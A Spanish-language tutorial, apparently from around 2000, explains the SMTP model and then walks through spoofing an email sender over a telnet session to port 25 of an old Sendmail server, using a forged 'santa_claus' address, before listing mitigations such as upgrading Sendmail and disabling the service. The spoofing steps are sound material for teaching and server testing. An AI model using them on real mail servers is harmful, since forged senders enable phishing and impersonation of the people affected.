La información a continuación es de uso público y educativo, el autor no se responsabiliza de cualquier fallo, daño o perjuicio de su uso indebido. Por favor utilícese con resposabilidad y como opción para validar el sistema de seguridad de su servidor. *Introducción El objetivo del Protocolo de Transferencia de Correo Simple (SMTP) es transferir correo de forma confiable y eficiente. SMTP es independiente del subsistema de transmision en particular y requiere solamente un canal de flujo de datos ordenado y confiable. Estableciendo la conexión El canal de transmision del SMTP es una conexion TCP establecida entre el puerto que procesa el envio y el puerto que procesa la recepción. Una simple conexión full duplex es usada como canal de transmisión. Este protocolo tiene asignado el servicio al puerto 25. Una caracteristica importante de SMTP es su capacidad para detener correos cruzando el ambiente de servicio de transporte. Un servicio de transporte provee unos procesos internos de ambiente de comunicación (IPCE). Un IPCE puede cubrir una red, varias redes o un subconjunto de red. Es importante asegurarse que los sistemas de transportes no esten uno a uno con las redes. Un proceso puede comunicarse directamente con otro a traves de cualquier IPCE. La aplicación Mail usa los procesos internos de comunicación. Mail puede comunicarse entre procesos en diferentes IPCE. Más especificamente, el correo puede detenerse entre servidores sobre diferentes sistemas de transporte por un servidor en ambos sistemas. *El modelo SMTP El diseño del SMTP esta basado en el siguiente modelo de comunicaciones: Como resultado de un requerimiento de correo de un usuario, el emisor SMTP establece un canal de transmision bidireccional con el SMTP destino. El SMTP destino puede ser el servidor final o uno intermedio. Los comandos del SMTP son generados por el emisor o remitente y son enviados al SMTP destino, las replicas son enviadas desde el destino SMTP a el emisor SMTP como respuesta a los comandos. Una vez que el canal de transmision se establece, el emisor SMTP envia un comando MAIL, indicando el remitente del correo. Si el destinatario SMTP puede recibir el correo responde con un OK, sino responde rechazando el remitente (pero no toda la comunicación). El emisor y el receptor pueden negociar algunos recipientes. Cuando el recipiente ha sido negociado entonces el emisor envia los datos del correo, terminando con una secuencia especial. Si el receptor SMTP procesa satisfactoriamente los datos del correo, responde con un OK. Todo este proceso lo podemos representar en el siguiente gráfico. +----------+ +----------+ +-------+ | | | | |Usuario|<--> | | SMTP | | +-------+ | Emisor- |Comandos/Replicas| Receptor-| +--------+ | SMTP |<--------------> | SMTP | +--------+ |Sistema |<-->| | y Correo | |<-->|Sistema | | de | | | | | | de | |archivos| | | | | |Archivos| +--------+ +----------+ +----------+ +--------+ Emisor-SMTP Receptor-SMTP Modelo para usar SMTP ¿Como enviar un un correo falso o fake mail? 1. Debemos realizar una sesion telnet al puerto 25 de correo de cualquier maquina unix o a fin vulnerable. ¿Como saber si la máquina es vulnerable? al realizar el telnet al puerto 25 nos aparecerá algo como esto: [usuario@servidor ~]$ telnet 25 Trying 100.211.3.109... Connected to 100.211.3.109. Escape character is '^]'. 220 100.211.3.109 ESMTP Sendmail 8.9.3/8.8.7; Tue, 9 May 2000 19:00:58 -0 500 2. Debemos fijarnos en la version del programa Sendmail 8.9.3/8.8.7, la cual es vulnerable a este ataque, entonces podemos estar seguros que va funcionar. Luego tecleamos la siguiente instruccion: mail from: santa_claus@trineo.polo.norte 250 santa_claus@trineo.polo.norte... Sender ok Esto quiere decir que el usuario de origen ha sido aceptado como remitente. 3. Ahora debemos colocar al destinatario, este debe existir para comprobar que recibio el correo enviado por santa claus. rcpt to:usuario@servidor 250 usuario@servidor... Recipient ok Esto quiere decir que el usuario destino ha sido aceptado como remitente. 4. Ahora debemos teclear data y luego enter para colocar el mensaje del remitente. Debe ser algo asi: data 354 Enter mail, end with "." on a line by itself 5. Lo unico que debemos hacer es colocar el mensaje que deseemos, oprimir enter y colocar un punto. Por ejemplo: data 354 Enter mail, end with "." on a line by itself Jo jo jo como estas mi querido amigo, si te has portado bien te traere un regalo. . 6. Debe aparecerle un mensaje parecido a este: 250 TAA29513 Message accepted for delivery 7. Y listo, el mensaje ha sido enviado satisfactoriamente al usuario con el remitente santa claus. ¿Cuales son las posibles soluciones al problema del fake mail? 1. Visitar la página http://www.sendmail.org/ y actualizarte a la última version. Observar la corrección de los bugs en la version actualizada. Efectiva, pero de igual forma no demoraran en encontrar un nuevo bug en la version actualizada. 2. Implementar el RFC 931 en su sistema. Se encuentra en : http://www.freesoft.org/CIE/RFC/Orig/rfc931.txt. 3. Deshabilitar el servicio de correo smtp por el puerto 25. Muy radical pero efectiva, sus consecuencias serían inhabilitar el servicio de correo por el puerto 25. 4. Leer detenidamente los RFC 821 y 822 en http://www.freesoft.org/CIE/RFC/index.htm. Agradezco la colaboración de los diferentes grupos de discusión sobre seguridad y las páginas de internet relacionadas con el tema, de las cuales tome como referencia. http://www.pulhas.org http://astalavista.box.sk Cualquier sugerencia o duda favor contactar al autor con el titulo del mensaje articulo1_sendmail, de esta forma te respondere inmediatamente. Autor : samador@ucauca.edu.co